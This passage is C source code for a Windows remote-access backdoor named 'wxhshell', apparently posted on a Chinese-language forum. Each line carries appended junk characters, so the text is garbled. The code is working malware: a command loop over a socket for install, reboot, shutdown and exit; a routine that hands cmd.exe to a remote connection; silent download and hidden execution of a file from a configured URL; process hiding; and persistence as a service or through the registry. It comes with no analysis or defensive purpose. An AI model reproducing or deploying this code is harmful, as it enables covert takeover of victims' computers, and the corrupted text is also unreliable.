  // 帮助 `0F IJT  
  case '?': { 5"U7I{\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "5K: "m  
    break; F ReK  
  } ix;8S=eP~{  
  // 安装 h>?OWI  
  case 'i': { >Mn.|:DF]&  
    if(Install()) }: e9\r)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z"Yo7no  
    else 2Z~o frj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mf#oa~_  
    break; 75y#^pD?c  
    } $ }53f'QjW  
  // 卸载 $.Ni'U  
  case 'r': { )<d8yLb  
    if(Uninstall()) {$^|^n5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x/~M=][tN  
    else =RA6p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }O/Nn0,  
    break; DVd/OU  
    } Tb^9J7]  
  // 显示 wxhshell 所在路径 a$ }^z  
  case 'p': { sp%7iNs  
    char svExeFile[MAX_PATH]; ^^m%[$nw&r  
    strcpy(svExeFile,"\n\r");  (c"!0v  
      strcat(svExeFile,ExeFile); B}W^s;h  
        send(wsh,svExeFile,strlen(svExeFile),0); ; OsN^   
    break;  DWI!\lK  
    } hf[K\aAk  
  // 重启 yAOC<d9 E  
  case 'b': { T(6S~; ,Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <FP -]R)  
    if(Boot(REBOOT)) f] Vz!hM~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IH5thL@D  
    else { m#Cp.|>kP4  
    closesocket(wsh); rO NLbrj  
    ExitThread(0); aD4ln]sFxG  
    } ^JTfRZ :a  
    break; UJb7v:^  
    } SV.*Z|"^N  
  // 关机 .D :v0Zm}m  
  case 'd': { 1||e !W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Qv4;a  
    if(Boot(SHUTDOWN)) [-l^,,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GK>|gNsb  
    else { ' |4XyU=  
    closesocket(wsh); _7Z$"  
    ExitThread(0); #8PjYB  
    } IflpM]  
    break; sIy  LW  
    } w(vf>L6(  
  // 获取shell +/ #J]v-  
  case 's': { hJ|z8Sy@1  
    CmdShell(wsh); G^+0</Q  
    closesocket(wsh); &?~> I[^~  
    ExitThread(0); lU\|F5O@#  
    break; $lO\eQGxB  
  } KmMt:^9  
  // 退出 9Vp$A$7M  
  case 'x': { P?bdjU#_n`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !XK p_v  
    CloseIt(wsh); 2hquE_1S[w  
    break; W] RxRdY6[  
    } _N<8!(|w  
  // 离开 W{k}ogI;  
  case 'q': { l!GAMK 6o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r1,RloyZS  
    closesocket(wsh); Jr#ptf"Wu  
    WSACleanup(); %R}}1  
    exit(1); PyIIdTm  
    break; +|^rz#X  
        } dD#A.C,Rz  
  } T@X!vCjf6  
  } nL\BB&  
y%43w4  
  // 提示信息 L> cTI2NB.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '#^ONnSTn  
} Zsaz#z|xW  
  } |',MgA  
M,NYF`;a  
  return; %|4Nmf$:Og  
} zxXm9zrLo  
|[C3_'X  
// shell模块句柄 -fYgTst2  
int CmdShell(SOCKET sock) U^[<G6<9]  
{ vWwp'q  
STARTUPINFO si; EZao\,t  
ZeroMemory(&si,sizeof(si)); {i3]3V"Xp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @MTm8E6au  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K`D>G<  
PROCESS_INFORMATION ProcessInfo; e5C560  
char cmdline[]="cmd"; tyNT1F{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9tWu>keu  
  return 0; BG/M3  
} zJOL\J'  
RoT}L#!!  
// 自身启动模式 /{^Qup  
int StartFromService(void) vEk jd#  
{ U)o(}:5xF  
typedef struct LDx1@a|83  
{ 0DV .1  
  DWORD ExitStatus; L slI!.(  
  DWORD PebBaseAddress; S2'./!3yv  
  DWORD AffinityMask; gqJSz}'  
  DWORD BasePriority; I7,5ID4pn  
  ULONG UniqueProcessId; P'MfuTtT&  
  ULONG InheritedFromUniqueProcessId; B|XrjI?  
}   PROCESS_BASIC_INFORMATION; c&me=WD  
&m[ZpJ9  
PROCNTQSIP NtQueryInformationProcess; ?gD^K,A Hd  
[@ >}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; imw,Nb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p?rh+0wgX  
a8nqzuI  
  HANDLE             hProcess; t$~CLq5ad  
  PROCESS_BASIC_INFORMATION pbi; ^m pWQ`R  
uIh68UM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BPO)<bx_  
  if(NULL == hInst ) return 0; iF,%^95=  
M]|tXo$?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JX!z,X?r4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +q*WY*gX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,i RUR 8  
{0L.,T~g+[  
  if (!NtQueryInformationProcess) return 0; m4\e `nl  
uvG' Kx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); da ' 1 H  
  if(!hProcess) return 0; 65]>6D43  
^k J>4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ==#mlpi`S[  
^O6eFD U  
  CloseHandle(hProcess); 5]f6YlJZ  
]C'^&:&<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +L0Jje>Az  
if(hProcess==NULL) return 0; MD98N{+[|  
<#nt?Xn  
HMODULE hMod; g{6FpuA|0  
char procName[255]; 3s\}|LqX#  
unsigned long cbNeeded; Y~TD)c=  
Talmc|h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k'8tqIUN]  
I|x? K>  
  CloseHandle(hProcess); f/95}6M  
K>2M*bGc p  
if(strstr(procName,"services")) return 1; // 以服务启动 .QU]  
N&yr?b'!-*  
  return 0; // 注册表启动 HT:V;?"  
} I:6H65(&  
Lm8uN?  
// 主模块 tdsfCvF= a  
int StartWxhshell(LPSTR lpCmdLine) =4[ U<opP  
{ XEBeoOX/  
  SOCKET wsl; j=dGNi)R  
BOOL val=TRUE; ]T<tkvcI  
  int port=0; f"z;'  
  struct sockaddr_in door; %At.nlss  
BgT(~8'  
  if(wscfg.ws_autoins) Install(); o<gK"P  
dv Vz#  
port=atoi(lpCmdLine); a9u2Wlz  
J#gG*(  
if(port<=0) port=wscfg.ws_port; ;i?rd f  
.ah[!O  
  WSADATA data; GG`j9"t4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8<x& Xd  
m3~_uc/+D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xO^lE@a o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LJ6L#es2  
  door.sin_family = AF_INET; 2bOl`{x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v@4vitbG9  
  door.sin_port = htons(port); Z,tHyyF?j  
nYR#Q|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I7W`\d)  
closesocket(wsl); W&k@p9  
return 1; 8|(],NyEJ  
} t3AmXx  
6L;]5)#  
  if(listen(wsl,2) == INVALID_SOCKET) { &2Ef:RZF  
closesocket(wsl); JZK93R  
return 1; zwU1(?]I{  
} -u7NBtgUh  
  Wxhshell(wsl); ]j!pK4  
  WSACleanup(); .Cf!5[0E  
a`8]TD  
return 0; N/'8W9#6  
^?wR{q"8  
} D2GF4%|  
]Ok'C"V(j  
// 以NT服务方式启动 V;W{pd-I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %|%eGidu  
{ fC 3T\@(&  
DWORD   status = 0; jABFdNjri  
  DWORD   specificError = 0xfffffff; =j{tFxJ  
6O,:I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B`t/21J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4"H *hKp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Y-Y.&b7t  
  serviceStatus.dwWin32ExitCode     = 0; }n "5r(*^@  
  serviceStatus.dwServiceSpecificExitCode = 0; Faa>bc~E  
  serviceStatus.dwCheckPoint       = 0; }#-@5["-X  
  serviceStatus.dwWaitHint       = 0; {F2Rv  
"*t0 t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }*U|^$FEU  
  if (hServiceStatusHandle==0) return; / Y od  
a5R. \a<q  
status = GetLastError(); M^Y[Y@U=p  
  if (status!=NO_ERROR) D(;+my2  
{ '`|j{mBhG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z HvE_ -  
    serviceStatus.dwCheckPoint       = 0; (# mvDz  
    serviceStatus.dwWaitHint       = 0; jpO0dtn3=  
    serviceStatus.dwWin32ExitCode     = status; ^N[ Cip}8  
    serviceStatus.dwServiceSpecificExitCode = specificError; &A*E)T#>#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %#rtNDi  
    return; vBOY[>=  
  } 6r`N\ :18  
:IBP "  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9 " t;6  
  serviceStatus.dwCheckPoint       = 0; j~1K(=Ng  
  serviceStatus.dwWaitHint       = 0; /&Cq-W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d,N6~?B  
} dqJ 8lU?  
A_\Jb}J1<  
// 处理NT服务事件,比如:启动、停止 R6BbkYWrX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [8UZ5_1WL  
{ p<(a);<L  
switch(fdwControl) Q-V8=.  
{ x?V^ l*  
case SERVICE_CONTROL_STOP: Ahl&2f\  
  serviceStatus.dwWin32ExitCode = 0; \1gAWUt('  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9#9bm  
  serviceStatus.dwCheckPoint   = 0; !L{mE&  
  serviceStatus.dwWaitHint     = 0; zl6]N3+4  
  { bR) P-9rs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2w3LK2`ZL  
  } C5-u86F  
  return; \fEG5/s}T  
case SERVICE_CONTROL_PAUSE: MymsDdQ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; & ;.rPU  
  break; s7sd(f]=  
case SERVICE_CONTROL_CONTINUE: "hI"4xSg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &! h~UZ  
  break; |(*btdqy3  
case SERVICE_CONTROL_INTERROGATE: (E@;~7L  
  break; #*.4Jv<R  
}; *Vq'%b9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l<uI-RX "  
} nw- -  
q6$6:L,<  
// 标准应用程序主函数 4 qsct@K,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qx E%C  
{ 75^*4[  
GY-4w@Wl  
// 获取操作系统版本 nbP}a?XC  
OsIsNt=GetOsVer(); paD[4L?4Hk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aC1 xt(  
<:/aiX8  
  // 从命令行安装 /];N1  
  if(strpbrk(lpCmdLine,"iI")) Install(); _){u5%vv  
,/Gp>Yqx  
  // 下载执行文件 B^dMYFelJ  
if(wscfg.ws_downexe) {  lY`WEu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;WN% tI)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4IfkYM  
} b_{+OqI  
i=b'_SZ '  
if(!OsIsNt) { '!Va9m*w7  
// 如果时win9x,隐藏进程并且设置为注册表启动 nY1PRX\  
HideProc(); wd|^m%  
StartWxhshell(lpCmdLine); jzDPn<WQ  
} ?UflK  
else Z%.L d2Q{  
  if(StartFromService()) |Zn,|-iW  
  // 以服务方式启动 S?v;+3TG  
  StartServiceCtrlDispatcher(DispatchTable); -6F\=  
else e'npa*.e  
  // 普通方式启动 L~|_)4  
  StartWxhshell(lpCmdLine); j y p.2c  
E?K(MT&@  
return 0; 0[g5[?Vy  
}
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只看该作者 1 发表于: 2006-10-10
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